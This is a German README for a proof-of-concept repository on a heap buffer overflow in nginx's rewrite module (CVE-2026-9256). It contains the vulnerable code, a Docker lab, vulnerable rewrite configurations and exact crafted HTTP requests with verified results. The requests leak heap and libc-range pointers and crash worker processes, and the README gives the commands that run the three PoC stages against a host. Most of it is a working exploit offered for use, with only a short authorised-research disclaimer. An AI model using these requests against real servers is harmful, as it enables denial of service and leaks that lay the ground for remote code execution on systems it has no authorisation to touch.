
Demonstriert den Heap-Pufferüberlauf CVE-2026-9256 in nginx' ngx_http_rewrite_module mit PoC-Skripten für Heap-/libc-Leaks und Worker-Absturz.
nginx Plus und nginx Open Source ngx_http_rewrite_module enthält eine Heap-Buffer-Overflow-Schwachstelle. Wenn eine rewrite-Direktive einen regulären Ausdruck mit mehreren sich überlappenden PCRE-Erfassungsgruppen verwendet (z. B. ^/((.*))$) und eine Ersetzung, die auf mehrere Erfassungen verweist (z. B. $1&y=$2), unterschätzt die Berechnung der statischen Puffergröße den benötigten Speicherplatz, sodass die tatsächliche Schreiboperation die zugewiesene Größe überschreitet (Pool Slip).
Ein nicht authentifizierter Angreifer kann dies über eine manipulierte HTTP-Anfrage auslösen, was zu einem Heap-Buffer-Overflow im Worker-Prozess führt. Wenn ASLR deaktiviert ist oder umgangen werden kann, ist Code-Ausführung möglich.
Datei: src/http/ngx_http_script.c:1143-1155
if (code->lengths == NULL) {
e->buf.len = code->size;
if (code->uri) {
if (r->ncaptures && (r->quoted_uri || r->plus_in_uri)) {
// BUG: Escape-Overhead wird einmal für die gesamte URI gezählt
e->buf.len += 2 * ngx_escape_uri(NULL, r->uri.data, r->uri.len,
NGX_ESCAPE_ARGS);
}
}
for (n = 2; n < r->ncaptures; n += 2) {
e->buf.len += r->captures[n + 1] - r->captures[n]; // Rohlänge
}
}
Jedes $N wird während des Kopierens unabhängig escaped (ngx_http_script.c:1397-1401). Verschachtelte Erfassungen führen dazu, dass derselbe Teilstring zweimal escaped wird, wodurch sich die Escape-Kosten verdoppeln, aber die Speicherzuweisung berücksichtigt dies nur einmal.
Overflow-Formel (2-fache Verschachtelung ((.+)), Q +-Zeichen in der URI):
allocated = code_size + 2*Q + 2*(Q+1)
actual = code_size + 2*(3*Q + 1)
overflow = 2*Q (präzise steuerbar)
Auslösebedingungen (alle drei erforderlich):
.
├── env/
│ ├── Dockerfile # Basierend auf nginx:1.31.0
│ ├── docker-compose.yml # Container-Konfiguration (SYS_PTRACE)
│ ├── entrypoint.sh # ASLR an (Standard)
│ ├── entrypoint_aslr_off.sh # ASLR aus (für libc_leak)
│ └── nginx.conf # Angreifbare Konfiguration
├── heap_leak.py # heap_leak PoC
├── libc_leak.py # libc_leak PoC
├── crash_verify.py # crash_verify PoC
├── LICENSE
└── README.md
cd env/
# Basis-Image ziehen (~200MB)
docker pull nginx:1.31.0
# Bauen und starten
docker compose up --build -d
# Überprüfen
curl -s http://127.0.0.1:19321/
# Erwartet: ok
# Nginx-Logs anzeigen (Absturzinformationen)
docker compose logs -f
# Stoppen und entfernen
docker compose down
# Neustarten (nach einem Absturz)
docker compose restart
Aktuellen Status prüfen:
cat /proc/sys/kernel/randomize_va_space
# 0 = aus, 1 = teilweise, 2 = vollständig
heap_leak und crash_verify funktionieren unabhängig von ASLR. libc_leak erfordert, dass ASLR auf dem Host deaktiviert ist:
sudo sysctl -w kernel.randomize_va_space=0
docker compose restart
Alternativ kann ASLR nur für den nginx-Prozess deaktiviert werden (keine Host-Berechtigung erforderlich):
Kopieren Sie entrypoint_aslr_off.sh über entrypoint.sh und führen Sie dann docker compose up --build -d aus.
Hinweis: Container teilen sich den Host-Kernel.
randomize_va_spacemuss auf dem Host gesetzt werden.
Erforderliche Konfiguration:
location /echo/ {
rewrite ^/echo/((.+))$ /show?x=$1&y=$2 last;
}
location /show {
internal;
default_type text/plain;
return 200 "x=$arg_x\ny=$arg_y\n";
}
Mechanismus: Pool Slip bewirkt, dass ngx_pcalloc(r->pool, sizeof(ngx_http_script_engine_t)) in der Overflow-Zone landet. Die initialisierten Felder der Script-Engine (e->ip, e->sp, e->request) gelangen in die Abfragezeichenfolge der umgeschriebenen URI und werden über return 200 "$arg_y" reflektiert.
Anfrage:
GET /echo/%25%25%25%25%25A HTTP/1.0
Verifiziertes Ergebnis (nginx:1.31.0, ASLR an):
e->ip = 0x00006544dec82430 (Konfigurations-Pool-Codes-Array)
e->sp = 0x00006544dec5ada0 (Anforderungs-Pool-Script-Stack)
e->request = 0x00006544dec58880 (Request-Struktur)
Was ausgelesen wird: Rohe Heap-Zeiger innerhalb des nginx-Worker-Adressraums.
PoC: heap_leak.py
Erforderliche Konfiguration:
location /leak2/ {
rewrite ^/leak2/((.+))$ /proxy-leak?x=$1&y=$2 last;
}
location /proxy-leak {
internal;
proxy_pass http://backend; # muss erreichbar sein
add_header X-Leak-Y "$arg_y" always;
}
Mechanismus: proxy_pass löst die Upstream-Initialisierung aus. Upstream-Strukturen, die Bibliotheks-Funktionszeiger enthalten, werden in der Overflow-Zone zugewiesen. add_header "$arg_y" schreibt die Rohbytes in den Antwort-Header.
Anfrage:
GET /leak2/%25%25...(~40 x %25)...A HTTP/1.0
Verifiziertes Ergebnis (nginx:1.31.0, ASLR aus, request_pool_size=7920):
leaked ptr = 0x00007fbfc3b7c346
Was ausgelesen wird: Ein roher Zeiger im Bereich 0x7f... (libc-Ladebereich). Um die libc-Basis zu berechnen, lesen Sie /proc/<pid>/maps auf dem Zielsystem und berechnen Sie leaked_ptr - libc_base.
ASLR-Abhängigkeit: Diese Stufe erfordert, dass ASLR deaktiviert ist. Der ausgelesene Zeiger stammt aus Metadaten eines freigegebenen Chunks (fd/bk → main_arena). Bei aktiviertem ASLR variiert der Offset des freigegebenen Chunks, und kleine Overflows können ihn nicht zuverlässig erreichen.
PoC: libc_leak.py
Einfachere Alternative: Bei Verwendung des
redirect-Modus (rewrite ^/r/((.*))$ http://.../?$1$2 redirect;) legt derLocation-Header die rohen Overflow-Bytes direkt offen, ohne Probleme mit Zeichenkodierung. Eine einzelne Anfrage kann Heap-Zeiger auslesen (Q=10~450) oder einen Absturz auslösen (Q >= 500), ohne dass proxy_pass oder eine spezielle pool_size erforderlich sind.
Erforderliche Konfiguration:
location /leak9/ {
rewrite ^/leak9/(((((((((.+)))))))))$ /show9?a=$1&b=$2&c=$3&d=$4&e=$5&f=$6&g=$7&h=$8&i=$9 last;
}
location /show9 {
internal;
default_type text/plain;
return 200 "i=$arg_i\n";
}
Mechanismus: 9-fache Verschachtelung erzeugt Overflow = 16Q (gegenüber 2Q bei 2-facher Verschachtelung). Bei request_pool_size=7920 verlässt Q=123 die Pool-Block-Grenze und überschreibt benachbarte malloc-Chunk-Metadaten. glibc erkennt die Beschädigung und beendet den Worker. Der Master startet automatisch neu.
Anfrage:
GET /leak9/%2b%2b...(123 x %2b)...A HTTP/1.0
Verifiziertes Ergebnis (nginx:1.31.0, request_pool_size=7920):
Q=122: normale Antwort (overflow=1952B)
Q=123: keine Antwort, nginx error.log:
corrupted size vs. prev_size
worker process XX exited on signal 6 (core dumped)
5/5 mal reproduziert.
Verschachtelung vs. pool_size: N Ebenen erzeugen Overflow = (N-1)*2*Q. Standardmäßige pool_size=4096 mit 9-facher Verschachtelung reicht für einen Absturz aus. Eine größere pool_size erfordert bei einem gegebenen Q weniger Ebenen.
PoC: crash_verify.py
# Stufe 1: Heap-Zeiger-Leck
python3 heap_leak.py 127.0.0.1 19321
# Stufe 2: libc-Bereich-Zeiger-Leck (erfordert ASLR aus)
python3 libc_leak.py 127.0.0.1 19321
# Stufe 3: DoS-Absturz
python3 crash_verify.py 127.0.0.1 19321
Dieser Proof-of-Concept dient ausschließlich Bildungs- und autorisierten Sicherheitsforschungszwecken. Jegliche unbefugte Nutzung ist untersagt.
| Bedingung | Detail |
|---|
Keine benannten Variablen, kein doppeltes $N | Statischer Pfad (sc.variables==0 && !sc.dup_capture) |
| Verschachtelte Erfassungsgruppe im Regex | z. B. ((.+)) bewirkt, dass $1 und $2 denselben Inhalt abbilden |
+ oder %XX in der URI | Löst Escape-Pfad aus (plus_in_uri oder quoted_uri) |